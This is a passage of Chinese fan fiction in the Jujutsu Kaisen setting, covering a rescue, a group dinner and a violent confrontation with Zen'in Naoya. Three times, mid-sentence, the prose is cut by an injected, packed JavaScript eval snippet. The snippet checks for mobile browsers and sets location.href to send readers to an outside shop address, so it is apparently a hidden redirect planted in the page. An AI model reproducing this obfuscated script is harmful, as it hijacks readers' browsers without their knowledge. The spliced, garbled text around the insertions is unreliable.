致使她对他那声“老师”的吐槽欲都显得无力了。 随即她惊异地发现地心引力失去了作用,又似乎时间在此刻复杂的感官中无限放慢,下落的过程是如此缓慢,就好像是停滞在了半空。 如果要她想象第三视角的画面,大概类似不知何时曾看过的滥俗电影里的慢镜头。 ……不,等等,并非错觉,他们的的确确是停滞在半空! 这是五条悟的某种能力之一吗?眼前这个人究竟有多逆天啊? “五条……身后!”她瞥见蜘蛛咒灵自后方猛然窜起试图奋起反击,紧张之下双手搂紧了少年的脖子。 “别紧张,”他游刃有余地说,“它一厘米都碰不到我。” 确实如他所说,咒灵发起的所有攻击果然都被他周身数寸之外的无形屏障尽数挡下。 扯淡吧,骗人的吧,逆天也要有个限度吧?尊重过战力平衡这种东西吗? 可以举报他开挂吗? “是时候把它送上西天了。” 他说完,偏头看向她,眼神轻飘飘地掠过她仍紧搂住他脖颈的手:“不过,被搂得这么紧可没办法活动呢。” “……”羽鸟真凛使出此生最快手速撤回了双手,她发誓,她刚才完全是反射性的搂了上去,没有任何想占他便宜的意思! 对方几不可察地轻笑了下,降落到地面,将她轻轻放至安全的角落。 旋即,他的身影从眼前消失,下一刻那只蜘蛛咒灵轰然倒飞出去,狠狠砸进墙体之中。 砖石坍塌飞溅,烟尘弥漫。 羽鸟真凛侧身,将两个被吓得说不出话的小孩护在怀里。 待尘埃缓缓落定,只见五条悟气定神闲地站在原地,拍了拍制服上并不存在的灰尘。 “啊,活动过后肚子突然就饿了。”他视线随意扫过地上将死的咒灵。 羽鸟真凛望着那些断壁残垣,不忍地为校舍默哀。 “……你不觉得眼下有比这更严重的事吗,五条同学?” “嗯?这么快就改口了?”五条悟略微斜过目光,“刚才在电话里求救的时候,明明喊的是‘五条君’呢。” “这个……”羽鸟真凛的视线不由自主飘向一旁,“怎么说呢,一时情急,口不择言。” 他纵身从瓦砾上轻盈跃下。 “是大姐姐所说的,白发的大哥哥!” “真的有一个白发的哥哥来救了我们……好厉害。” 获救的两个小男孩始终仰望着五条悟,毕竟对普通人而言,他在各种意义上都十分吸睛,更何况是神兵天降般地出现并救了他们的大哥哥。 难以抑制的崇拜之情浮现在两双年幼的眼睛里,闪闪发光。 “哟!”五条悟抬起手,心情十分好地回应了他们。“小鬼们,没受伤吧?” “没有。”两个小男孩齐齐摇头,说着多亏大姐姐保护了他们,还有大哥哥好帅之类的话。 “你呢?”五条悟又回过身,向羽鸟真凛询问她有没有受伤。 她摇摇头,说没大碍。 只是,刚才后颈的那股灼热到底是怎么回事? 五条悟迈开长腿,几步就走到了她面前:“你能够看得见了呢,刚才那个东西。” 冰蓝的目光探过她周身——依然没有,她身上的咒力依旧干净得几乎无迹可寻。 想到刚才那东西,羽鸟真凛下意识抱紧自己的手臂:“我也不想看到的……那种怪物到底是什从哪来的,怎么产生的?” “这个嘛,”五条悟拉长声音,故作神秘的腔调说着:“是机密,不能随便告诉无关人员。” 他忽然抬手打了个响指:“有了,如果你想知道这个世界的真相,或许可以考虑成为像我一样的咒术师。” “……那就代表要和那种怪物战斗?”羽鸟真凛不理解,但敬谢不敏:“五条同学是在建议我去送死吗?” “笨蛋,是希望你有保护自己的能力。" 他这么说道,嬉皮笑脸的神情忽然变得正经。 “比如今天,如果不是我在附近,你们三个轻则受到诅咒的感染生病,这是在能顺利逃跑的前提下,逃不掉的话都会成为它的晚餐。” 白发男生垂下眼帘,双手插在兜里,高大的身影笼罩下来。 “但我总有无法及时赶到的时候。” 羽鸟真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600101|187505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凛愣怔了下,是因为他蕴含着某种未知危险的警告,还是他眼底若有似无类似无奈或温柔的东西,她不清楚,只感到胸口蓦地紧缩了下。 不得不承认的是,他说的不无道理。 “可,咒术师是想成就能成的吗?” “当然无法像我一样强就是了。”他昂起头。 “不过你的运动神经和反应速度不错,五感也比普通人敏锐得多吧?使用咒具的话,至少面对一般的低级咒灵时不至于有危险。” “咒具?”她脑海中浮现出提着刀与那种怪物厮杀的画面,她能做到那种事? “……那种天方夜谭的事,对我来说太遥远。”她轻轻叹气。 五条悟的余光里映着她迷茫的神色。 对她来说是有些勉强吧,且不论别的,现在的她是羽鸟真凛,毕竟不是神里真凛。 至少,他还不能百分百确定她是。 他随意将双手放至脑后,伸了个懒腰:“总之,那个以后再说吧,我现在饿死了,能吃下一头咒灵!去吃饭才是当务之急。” “…你呢?”他随口问道。 问完他后悔了,因为这样简直像是在邀请。 羽鸟真凛认真思考了几秒钟。这句话太过于随意,是在问她饿不饿的意思?还是在问她要不要一起来?但是作为一种男生向女生发出的邀请,她还没遇到过这么随便的,又有些不确定,所以她很直白地问了: “是邀请我共进晚餐的意思?” 女孩的睫毛在夕阳下眨动,翠绿的眸里流转着暮光。 “别误会!”五条悟挺直背脊,没想到自己的随口一说被她用如此郑重其事的态度重新解读之后,突然有了种不同寻常的意味,他下意识就否定了。 “这不是刚好吗,没有别的用意。” 一阵沉默后。 “可我有别的用意。”羽鸟真凛轻声接过话头,她迈开步,皮鞋尖轻轻碾过地面的裂缝。 “被你救了两次,按理,确实应当回礼。” 在逐渐变得粘稠的暮色里,他看到女孩的脸颊染上了好看的茜色。 · 五条悟没想到女孩子会主动提出宴请他吃饭。 她不会把他当成了那种会以恩情敲诈女生请客的家伙吧? 他当然不是。 但对于别人可贵的报答盛情,他也不至于油盐不进。 于是他提议去一家价格实惠的家庭餐厅,他猜她一定没去过大众餐厅,而且那种气氛轻松的场合也不会显得太过正式。 但是问题来了,独处是否会尴尬? 一对青春少男少女在公共场合用餐,在任何人眼里都不像寻常关系。 ……有些不妙吧。 五条悟挠了把头发,灵机一动立刻想到了自己那两个怨种同期,夏油杰和家入硝子今天跟他差不多的时间外出做任务,不出意料应该也结束了。 于是他拿出手机,指尖快速地在按键上翻飞,把餐厅的名字和地址告诉两个同期,附赠上一个令人无法拒绝的诱人条件: 「十五分钟内出现的话我承包这个月所有外食开销!」 11. 011.交换邮箱 羽鸟真凛是第一次来家庭餐厅。 暖色调的灯光,简单却温馨的装潢,柔软的人造革卡座,无限续杯的饮料吧台,放学后的学生三五成群地涌入,轻快的谈笑声与餐具碰撞出交响,一切都很新鲜。 然而眼下比起体验普通高中生日常带来的兴奋感,更加强烈的是与半生不熟的男生面对面而坐的不知所措。 虽然,理直气壮地说出要宴请他的是自己,当真正地上桌面对着面又是另一番风景了。 她和五条悟尚未熟悉到自然谈天说地的程度,而且她是第一次在外面单独跟男生吃饭,不免感到一阵后知后觉的尴尬。 就有些如坐针毡…… 厚厚的菜单像黏在她手上,一刻都放不下来,她深深把头埋在其中,视线在菜单的海洋里反复地转来转去,生怕一抬起眼睛便会不小心与对面撞个满怀。 而当对面已经点好了四份甜品一份主食和一杯饮品,她也没从菜单中摸索出个究竟来。 “什么啊五条,救援信号发得那么紧急,还以为你被特级咒灵围堵了,结果居然和女生一起……话说这可能吗?!” 一名留短发的女生走近他们这桌,原本慵懒的语气在句尾突然扬起,带着淡淡的诧异。 家入硝子目光一扫,在心里默默补充:而且还是个超美的女生。 “悟,你……”她身旁的夏油杰则微妙地瞥向五条悟,欲言又止。 男生一转头,目光温和地落在羽鸟真凛身上:“这位同学,不用害怕,如果你被威胁了可以告诉我。” “喂!你们两个很失礼啊!”五条悟像只炸毛的猫从座位上弹起,“我是被邀请的那方!懂吗?” “两位是五条君的同学吧?” 羽鸟真凛适出声寒暄,从三人一致的制服来看肯定是同窗关系,由于他们的出现让她莫名地让她松了口气。 她站起身自我介绍:“你们好,我叫羽鸟真凛,就读于私立樱兰学园。” “樱兰……哦,是悟今天执行任务的地点。”夏油杰顿时了然于心,很绅士地一笑:“初次见面,我叫夏油杰。” “你好,我是家入硝子。”棕发女生简短地说。 “他们两个跟我一样都是咒术师。”五条悟解释。 夏油杰仍不放心地追问她:“你真的没被悟做什么奇怪的事情?” 羽鸟真凛露出大方周到得无懈可击的笑容,说:“说出来或许你们不信,我是自愿招待五条同学来用餐的。” “啊?”夏油杰和家入硝子同时震惊无比。 “……前面那句有点多余吧?”白发猫不满地撇嘴,很快又换上十分嚣张的表情:“听到了吧?在你俩灰头土脸做任务的时候,我可是在充满玫瑰色的校园里受尽了爱戴的哦!” “……总觉得拳头不自觉地想朝那张脸上呼过去。” “同感,‘无下限’到底是谁发明的,真是罪恶深重。” 羽鸟真凛知道五条悟很拽,没想到是这种不顾同窗死活的拽,两位同窗的脸色已经差到像是食物中毒一样了,她现在说“我不认识这人”然后夺门而出还来得及吗? “所以为什么叫我们来?”夏硝二人落座之后问。 “呃……”五条悟思忖数秒,随意地解释:“我认为她会成为咒术师,也就是我们的同伴,所以特意介绍给你们两个也认识一下。” 夏油杰首先就不信,“悟,你这是询问过人家意见后的发言吗?在我来看,她根本没有这个意愿。” 毕竟是个就读于贵族学院的女生,怎么看都不像是会走上咒术师这条艰难道路的人。 羽鸟真凛附和地点点头:“也没有这个本事呢。” 五条悟不以为然:“没什么不可能的,那么弱的歌姬都能成为咒术师。” “真差劲,五条,歌姬前辈听到会难过的。”家入硝子懒洋洋地瞥他一眼。 “不用在那家伙的话,”夏油杰看向羽鸟真凛,柔和地微笑道,大有种从“五条大魔王手中解放无辜少女”的男菩萨救济感。 “咒术师本质上并不是什么好差事,没有人可以强迫你,按照自己的意愿来决定就好,真凛酱……哦,可以这么称呼你吗?” 突然的直呼让羽鸟真凛愣了下,但她没有理由讨厌男菩萨。 “嗯,称呼方面我并不是很介意。” 旁边的五条悟却瞪大了眼睛。 “……对初次见面的女生直呼其名?真是个拈花惹草的渣男啊,杰!” 连他都没有用那个名字叫过她。 从遇到她到现在,一次也没有。 他小心翼翼不愿意轻易喊出的名字,竟然被自己的好友若无其事地念出,某种灼热的情绪在胸腔里翻涌。 简单来说,非常不爽。 “你说什么?”夏油杰不甘示弱地瞪了回去,“悟,想打架吗。” “来啊,正合我意。” 两个男高剑拔弩张地互相揪着衣领,好像马上就会打起来似的,引来餐厅里其他顾客们吃瓜的目光。 “又开始了。” 硝子司空见惯,都不愿意往那两个丢人同窗身上多看一眼,但生怕一副家教良好的羽鸟真凛被那两个不良少年吓到,她转头对她说: “别在意啊,这种事几乎每天都在上演,反正他们也打不死。” 出乎意外的是,羽鸟真凛看着那两人仿佛下一秒要把店掀翻的掐架气势,忍俊不禁地弯起了眼。 “其实我觉得还挺有趣的。” 多美好的男高友情啊,没有经历过友情破颜拳的青春是不完整的! 硝子闻言挑眉:“看来你应该能够适应咒术界呢。” “我原以为咒术师会是更乖僻的角色,没想到也有夏油同学这么正常的人,以及家入同学这样可爱的女生。”羽鸟真凛唇角漾开清浅的笑意。 那笑像是山花烂漫的春日,又如同山涧清澈的涓涓流水。 “要打出去打。”夏油杰终于忍无可忍跟挚友之间的拉拉扯扯,决定直接动手打一架更爽快,后者也积极相应,两人边斗嘴边往外面移动。 等两个男高酣畅淋漓地从外面回到餐厅,却同时被眼前的一片大好橘势震在原地。 “这里沾到奶油了,家入同学。”羽鸟真凛正用手帕擦拭硝子的唇角,动作细致温柔。 “谢谢。”硝子微微仰着脸,声音比平时柔软,“你可以叫我硝子。” 羽鸟真凛眼里泛起暖意:“那……硝子也直接叫我的名字吧。” 硝子用干净的银叉切下自己那块蒙布朗蛋糕的一角,将叉子递到对面。 “要尝尝我的这份吗,真凛?” “好。”羽鸟真凛微微倾身,用嘴轻轻咬下硝子递过来的叉子。 她将自己那份重芝士推到硝子面前。 “我们交换品尝吧。” “好啊。”硝子说,“唔,还是你的更好吃!” “……” “……” 五条悟和夏油杰二脸震撼,在他们局势焦灼地打了个架的功夫,这边的橘势和和美美进展神速。 他们到底错过了什么? 只见两名女生已经快速进入到交换邮箱地址环节,五条悟大步流星走过去,强势地插足进二人之间。 “我也要交换。” “嗯?”羽鸟真凛抬头便看到一张灿然的脸。 “那也算上我一个吧。”夏油杰悠悠地出现在五条悟身后,语气温和却带着明显的较劲,眼里分明写着气死同期不偿命。 “杰,你这家伙!” “有意见吗?” “快坐下吧你们,不要妨碍营业。”硝子无奈地看着那两人。 五条悟乖乖坐下后,手肘支撑着桌面,掌心托住侧脸,眼神漫不经心扫过窗外,另只手却拿出手机若无其事地晃了晃,又在指尖打了个转,也不知道是明示还是暗示。 “……”羽鸟真凛忽然觉得有些好笑,她抿抿唇,说:“交换吧,大家一起。” 最终跟三人都交换了邮箱。 一顿饭吃得热闹不已,两个男高用餐时也不忘较劲。 五条悟趁着夏油杰去接饮料的当儿,往对方的咖喱饭里撒上致死量的胡椒粉,又迅雷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600102|187505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不及地舀起旁边的咖喱酱汁进行掩盖,作案手法流畅老练。 夏油杰端着四杯饮料回来,浑然未觉地准备用餐,将满满一勺饭送至口边时狭长的眼眸倏然眯起,他手腕一转猛然改变轨迹,一勺子往五条悟嘴里塞去。 没及时开启无下限的结果就是,猝不及防地咽下自己亲手调制的胡椒粉拌咖喱饭,被呛得差点流眼泪。 这一局,夏油杰胜。 胜利者心情大好地又重新点了一份。 “反正是悟买单。” 看着白发少年捂着脖子,脸色发青地猛灌冰水,羽鸟真凛实在有些憋不住上翘的嘴角。 该怎么说呢,非常符合他的作风,又觉得有点意外。 她原以为五条悟是个自大到不屑交朋友的家伙,没想到也有这样的一面。 “说起来,真凛以前和悟认识吗?” 似乎注意到她的目光,夏油杰忽然问道,如果不是之前就相识,他很难想象悟这家伙会跟刚认识不久的女生在一起。 “我也很好奇这个。”硝子端起可乐附和道。 羽鸟真凛下意识地看向对面的白发少年,对方喝水的动作顿住,也正好瞥过来,眼神在空中短暂一碰,又各自移开。 “不认识。” “总之这件事情有些复杂。” 两人几乎同时答道。 话音落下的瞬间,硝子和夏油杰视线微妙地扫过二人,势要揪出点什么蛛丝马迹来似的。 后者笑了笑,温和地对羽鸟真凛致意:“抱歉,是我唐突了,只是有点好奇。” “没关系。”她弯起眼睛,越过餐桌,看向把玩着玻璃杯的五条悟:“现在认识了,不算晚吧。” 用完餐后五条悟不够尽兴地提出要去卡拉OK,结果下一秒班主任迅速来电,一通尽快回来提交任务报告的无情电话夺走了他的梦想,少年漂亮的眉宇间都写满了不高兴。 四个人走出餐厅,自动玻璃门在身后轻轻合上。 羽鸟真凛的司机等候在对街,她就此与三人道别。 目送着三个人往相同的方向离开,家入硝子向她俏皮地眨了眨眼,夏油杰微笑地摆摆手作别,五条悟臭着脸踢飞一颗脚边的小石子。 三个人渐渐远去,她也正打算转身,忽然间却看见五条悟停下步伐。 路灯将他的影子拉长,他回过头来,墨镜下的蓝眼睛在夜色中明亮依旧。 “下次如果遇到危险…”少年清朗的音色穿过吹着晚风的街道,直达她耳畔。“反正你也知道该怎么联系我了吧。” 一轮弦月挂在深绀色的天幕,落下清冷的余辉,朦胧光晕笼罩着他挺拔的身影。 “如果可以不用请客那就最好了~”她背着手,苦恼地撇嘴。 五条悟狡黠地一笑:“视情况而定,我会酌情考虑的啦。” “真是贪心。不过,”羽鸟真凛顿了顿,伸手抚上胸口,再起开启的嘴唇遵从了内心的声音:“今天很开心,我很开心。” 夜风拂动她着额前的发,她仰起头,透过长长的街和他的墨镜,直视他的眼睛:“多亏了你,五条同学。” 五条悟的眼神微微一凝。 五月的风里有临近初夏的暖意,似乎,将那点未尽的遗憾悄悄在心底驱散了。 今晚就老实地回去吧。 “嗯,那就好。”他说完,别过头的时候唇角不经意翘起。 随意挥了挥手后,他转身追上走远的同伴。 羽鸟真凛走向与白发少年相反的方向,对街的黑色轿车在静静等候着。 一边走,她无端地想,下次不知道什么时候会见。 突然冒出来的念头让她自己都猝不及防,冰凉的手背连忙贴上脸颊。 她在想什么呢? 不过他们交换了邮箱地址,总归也算是朋友了吧。 指尖无意识地摩挲着手机边缘。 ……那意思不就是,她可以期待一下邮件的到来? 正若有所思时,街边霓虹招牌灯一明一暗间,从隔壁柏青哥店里走出一个高大的身影,打断了她的思绪。 12. 012.等待 正若有所思时,街边霓虹招牌灯一明一暗间,隔壁柏青哥店里走出一个高大的身影,打断了她的思绪。 “啊啦,大小姐。” 穿着紧身黑T恤的男人站在店门口,高壮得像一堵墙,肌肉贲张的手臂环在胸前,噙着若有似无的笑。 “真巧。” “甚尔?”羽鸟真凛抬起头,男人不像在店里工作时穿着衬衫西裤,而是懒散的打扮,她差点有些认不出。 男人微眯眼,目光懒洋洋扫过她:“几天不见,氛围改变了啊。” “是吗?”她摸了摸自己的脸确信没有异常,但嘴角好像是有些上翘,“确实遇到了一些有趣的人。” 她顺其自然地笑了笑。 “尤其是其中的一个,特别有趣。” “へえ——”男人发出一声不具意义的感叹,“还真实现了啊。” “嗯?” 她怔了怔,稍微回忆了下,想起上次在店里,甚尔漫不经心地说了句“希望下次见到你是笑着的”之类的话。 “啊,那不是牛郎人设的花言巧语来着?” “大小姐是这么理解的啊,”他故作姿态地摇摇头,“真叫人伤心。” 伏黑甚尔忽然想起第一次见到羽鸟真凛。 女孩独自坐在公园的椅子上,过往的女学生们成群结伴,嬉笑着路过她的眼底,她们的欢快笑声散在风里,与她形成鲜明对比。 那副模样他再熟悉不过,一个与周遭格格不入不的异类,因为无法融入人群而选择自我隔离,却又悄然羡慕着那些傻子般的欢聚。 像只被关在玻璃罩里的蝴蝶。 他鬼使神差向她走了过去。他知道,其中一部分原因是她看起来有钱,高级定制校服的刺绣在夕阳下泛着金光,一双小皮鞋的价格足以抵他半年赌输的钱。 他问她,要不要到店里来,他可以让他忘掉烦恼。 街上任何一个混混看起来都比他安全,但出乎意外的是她没有逃开,只是轻声问:“多少钱?只是聊天的话。” 遗憾的是,他始终也没能够让她忘掉烦恼。 此刻在霓虹灯的浮光下,女孩嘴角还残留着不知名的笑意,伏黑甚尔看了看她,咬着未点燃的烟说:“这样比较顺眼。” “什么啦,我还是有很多烦恼啊,也会不开心啊,有需要的话我还是会去给甚尔刷KPI的,要赎出儿子的费用还差很多吧?”她说。 “啊?”甚尔突然豆豆眼。 霓虹灯啪地熄灭了一盏。 羽鸟真凛猛然抬头:“难道你是骗我的?” “……你说当年妻子早逝,为了葬妻将儿子卖给了富贵人家,所以要积攒儿子的赎金才到牛郎店兼职赚点外快——难道都是为了骗我的同情给你消费?!” 伏黑甚尔挠了挠额角的疤痕:“啊,好像是说过这么回事来着……忘掉吧?” 只不过是夹杂着事实的谎言。 “哈?!!” * 下过几场雨,微凉的气息没持续几天,五月末的季风彻底将最后的凉意带走。进入六月后,气温一天天逐渐上升。 下午四点的阳光直射在高专训练场上,空气中浮动着草坪被晒热后的清香。 五条悟靠在斑驳的树荫下,训练的闲隙中又一次摸出手机,看了眼空荡荡邮箱界面,手指在按键上停留,半晌没敲出一个字,然后又放下。 “又在看手机,”夏油杰从前方看过来,轻不可闻地叹了口气,“最近看手机的次数很频繁,第几次了?” 他可没见过五条悟如此频繁又蜻蜓点水般地一次次查看手机。 “该不会是在等女孩子的消息吧?”家入硝子盘腿坐在不远处的树荫下,她半掩面揶揄道:“会是谁呢?" “不,我估计他还在纠结如何发第一条信息。”夏油杰摇头,慢条斯理地下定结论。 “……你们少罗嗦,我在等本家那边的联络。”五条悟抱着手臂,懒得看他们。 “什么什么,五条前辈有绯闻?”正在和七海建人对练的灰原雄立刻停下动作,眼睛亮晶晶地望过来。 对面的七海建人收起咒具,脸色一如既往的严肃:“灰原,专心一点。还有,打听了五条前辈的隐私,后果应该不太好。” “但是七海,这可是五条前辈!他居然会有烦恼!” “灰原,训你的练。”五条大前辈十分威严地施压道。 说罢少年泰然自若地往草坪一躺,双手交叉枕在脑袋下:“你们几个不要自说自话的曲解我,喜欢看手机不行?我在看井上和香的写真。” “悟……”夏油杰走到他身边,将一只手搭在好友肩膀上,用一副多说无益的神情慢悠悠地开口:“说不定对方在等着你发信息过去呢,毕竟当时要求交换邮箱的是你,结果都过了这么多天,你一句话表示都没有,这不好吧?” 五条悟陷入一瞬涉及知识盲区的呆滞。 ……对方在等?他确实,没想过这个可能性。 就在这时,手机发出了低沉而持续的震动嗡鸣。 他快速拿起手机,不禁闪过某种莫名的雀跃,看到是五条家来的电话后,脸上的神情顿时又收敛。 他站起身,走到一旁按下接听键。 “喂。” 电话那头传来一个恭敬的男声:“悟少爷,万分抱歉打扰您。关于您前几日吩咐调查的事,我们已有眉目。” “哦,比想象中快嘛。”五条悟靠在树干上说,“结论是什么?” “是。”家臣的声音停顿了一下,组织好语言后清晰地汇报:“我们仔细研究过悟少爷发来的图案,经过家族内的情报秘档比对,有发现类似的咒印,该咒印的核心‘印契’及其独特的符文,基本可以确定,源于——神里家。” “……真的?” 他不易察觉地挺直身体,墨镜后的瞳孔收缩了些。 “不会错。但是详细的咒印情报不可考证。”家臣说道,声音低沉而凝重:“悟少爷您也知道,神里家已在六年前全族灭亡……” 神里家在六年前遭遇不明势力袭击,全族覆灭,记录在册的死亡人数总共 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600103|187505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三十七名,其中包括神里真凛。 “我知道了。”他轻声说。 末了,家臣又补充道:“还有,悟少爷您要的那件东西,马上会送到高专。” “哦~OK,那就先这样了。” 挂掉电话之后,五条悟又再次打开了退出过好几次的邮箱界面,最顶端收件人那一栏的名称显示:羽鸟真凛。 这次没有犹豫,他快速地敲下一行字: 「你现在在哪?」 已发送。 * 放学后,羽鸟真凛片刻也没耽误地离了校,下午的行程是去料亭,练习练切菓子。 收到信息时,她正坐在自己专属的接送轿车中,百无聊赖地看着窗外飞速掠过的风景。 书包里传来一阵短促的震动。她翻出手机,屏幕亮起的瞬间,「五条悟」三个字毫无预警地跳了出来。 “嗯?”她惊讶地眨了眨眼,接着一股无名的愠怒悄悄攀了上来。 说起来还有这么个人啊,呵呵。 最近忙着课业丝毫没想起他来呢。 主动说要交换邮箱的明明是那家伙,结果过了这么多天才想起来给她发信息?而且还是这么……没头没脑的一个问句。 按理来说,交换邮箱的当天互相发送问候才符合基本礼仪吧,她和硝子、以及夏油同学都在当天礼貌性地互发过信息了。 也不是完全没想过主动向五条悟发送礼貌的问候,但是因为秉持着某种奇怪的矜持,百般纠结之后她还是没有发出。 「在睦月亭。」 她简短地回复完邮件,随着车辆平稳停住下了车。 睦月亭作为知名的百年传统高级和式点心料亭,想必对方应该知道吧。 此前羽鸟真凛的母亲特意请了这里的老匠人,指导她学做和菓子。 而且再过一阵就是她的生日宴,母亲要求她将自己亲手制作的和菓子作为一道甜点呈献给宾客,但又认为她做的造型还是不够完美,所以她一放学便赶过来练习。 料亭前,古朴大门静静矗立在下午阳光里,两盏未点燃的岐阜提灯在门廊下轻轻摇曳。 “欢迎,羽鸟小姐。”身着淡色和服的仲居候在门廊下,躬身行礼。 羽鸟真凛微微颔首,跟随仲居步入长廊。 通往内室的长廊蜿蜒而静谧,转过一个角时,迎面正走来一个身穿黑色宽袖羽织的少年,领口微微敞开,身边跟着仆从。 在睦月亭,这类世家子弟的顾客并不罕见。 错身而过的瞬间,羽鸟真凛朝对方轻轻点头致意。 抬起头时,她忽然瞥见一对凌厉的眉眼,紧抿的薄唇,黑发以及还有那双仿佛目中无人的眼睛……莫名地,她想到了甚尔。 感觉不像善茬,她没多做停留,继续向室内走去。 身穿羽织的少年却停下脚步,目光回望着她离开的方向。 “直哉少爷?”少年身旁的仆从小心地出声。 禅院直哉看着羽鸟真凛的背影,若有所思地开口:“那个妹妹,我曾见过的。” 13. 013.遭遇 做和菓子这件事,羽鸟真凛实在说不上有多喜欢。 这些精致点心的作用不过是为了陈设在宴会上,彰显羽鸟家的女儿多么蕙质兰心,说难听些就是装|逼道具。 她掌心握着练切馅,一手用银箸仔细调整着花瓣的纹路。 每一道纹路都要完美,每一个造型都要端庄,正如她本人被要求的那样。 令人窒息。 老师傅边指导边在旁边轻念:“最重要的不是技法,而是理解花朵的生命……譬如晴日的菊与雨后的菊,各有不同的表情。” 羽鸟真凛看着自己手边那一堆被认为不够完美的试做品,忽然犯呕。 她轻声向老师傅致歉,起身走向庭院,想透透气。 手机和换下来的校服一起放在更衣室了,也不知道邮件得到回复没有。 寂静的庭院中,惊鹿添水规律地敲击石头,清脆沁人。 然而这时,忽然传来极不和谐的一阵斥骂声。 “混帐东西!连盏茶水都端不稳?!” 羽鸟真凛循着声音望过去,对面那间半开的茶室中隐约露出人影,是刚才在长廊和她擦身而过的黑发少年。 “废物!我定要睦月亭的大将辞了你!”黑发少年一耳光将女侍扇倒在地,点心盘被打翻,破碎的器皿和菓子四散在地,动静大得惊人。 年轻的女侍跪伏在他面前,带着哭腔颤抖地说:“不、不要,求求您,禅院少爷,我什么都会做的!求求您原谅……” “什么都会做的?”他不怀好意地勾起嘴角,伸脚踩上女孩的头,用力地碾着。“那就将我脚上的茶渍舔干净。” 闻言,女侍颤巍巍地抬起头,伸出被玻璃扎伤沁着血的手,要去捧他沾了一丁点茶渍的白袜。 少年嫌恶地瞥了眼女侍的手,又一脚将她踢开。 “你手脏看不到吗?” 这一幕看得羽鸟真凛不觉地紧了拳,女侍实在是可怜,等她意识过来,自己已经冲到了那名少年面前。 “请你住手,这儿是公共场合,不是您家后院,这位——”话一说出口,她觉得这个人根本配不上尊称。 “还是我应该叫你,人渣?” “哈?”禅院直哉缓缓抬起头来,凶狠的眼光在看到她时蓦然变得好奇,“是你,方才我就在想,我与你似乎在哪见过?” 他慢条斯理地收回脚,似乎已经对折磨女侍失去兴趣,他目光如鹰隼般盯着羽鸟真凛,慢慢逼近。 “抱歉,我对你没有印象。” 羽鸟真凛向女侍使眼色叫她趁现在快走,讯息传达到之后,女侍立刻逃走,她也不打算跟这种男的做纠缠,她又打不过他! 于是她二话不说脚底抹油,你给路达哟! 她自认为她跑的速度不算慢,但跑进一间茶室内下一秒却差点撞到那人身上,他仿佛是瞬间闪现到她面前的。 好快,这家伙,绝不是普通人! “嘴上说着凶狠的话,跑起来倒是挺快,很聪明啊,知道本少爷不好惹?”禅院直哉狠劲地捉住她的手腕,眼中露出一丝玩味,像是捉住到老鼠的猫不急于用食,而是享受着掌控的感觉。 她吃痛地皱眉,试图挣脱却徒劳无功,力量的距离实在太悬殊。 “别怕呀,本少爷只是想确认,在哪见过这双漂亮的眼睛?”他说着,另一只手蠢蠢欲动朝她的脸上摸去。 羽鸟真凛眼疾地一挥,狠狠打开他的手。 “我不是你可以随便碰的。”她沉声说。 “哼,性子烈得像未驯的野马。”禅院直哉发出一声鄙夷的哼笑,愈发用力握紧她手腕,“女子应退居男人身后三步,你这样子的性子未来如何侍奉丈夫?美则美,光有脸蛋可不行。” 他狭昵地促起眼,带着乐趣欣赏她不甘痛的表情—— 月眉紧锁,白皙的肌肤因挣扎泛起薄红,细密的汗珠缀在额角与颈间,娇俏的面庞不过一掌大小,仿佛稍一捏就会碎。 明明毫无挣脱的力量,纤弱得如同瓷娃娃,然而那双祖母绿的眼倔得惊人,瑰丽得惊人,里面没有一丝恐惧,只有灼人的愤怒与不屑。 这种眼神。他想起来了。 “你莫非是神里家的……”禅院直哉有些不敢相信地出声,很快又转念否定:“但怎么可能,那一族分明已经……” 趁他分神的劲,羽鸟真凛看准时机一抬脚,狠狠往他的裆部踢去。 禅院直哉脸色瞬间煞白,发出一声闷哼,弯下腰,双手捂住裆部。 “你说女人应当怎样?”她俯视着他痛苦的模样,不紧不慢地讽刺:“别说让女人退居你身后三步,你这裹脚布般的封建脑子可没有女人喜欢,恐怕你只有追在女人屁股后面摇尾乞怜的份儿。” 她本可以趁现在逃跑,但实在咽不下这口气。他的所作所为和那番恶心的言论彻底激怒了她,哪怕不计后果她也要出这口恶气。 “你!”禅院直哉目眦欲裂,“你这蝼蚁,我动动手指就能碾碎你!” 他五指骤然发力,青筋暴起,一霎那就掐住她的脖子。 “不过是个弱小的女子罢了,学会乖乖服从便是了!嘴上叫嚣得狠有什么用?我要让你知道,你在男人手中依然毫无还击之力!” 羽鸟真凛的动脉被捏住,窒息感蔓延而来,颈骨发出不堪重负的脆响。 她拼命支撑着自己不倒下,仰起头,喑哑的声音几乎从喉间挤出: 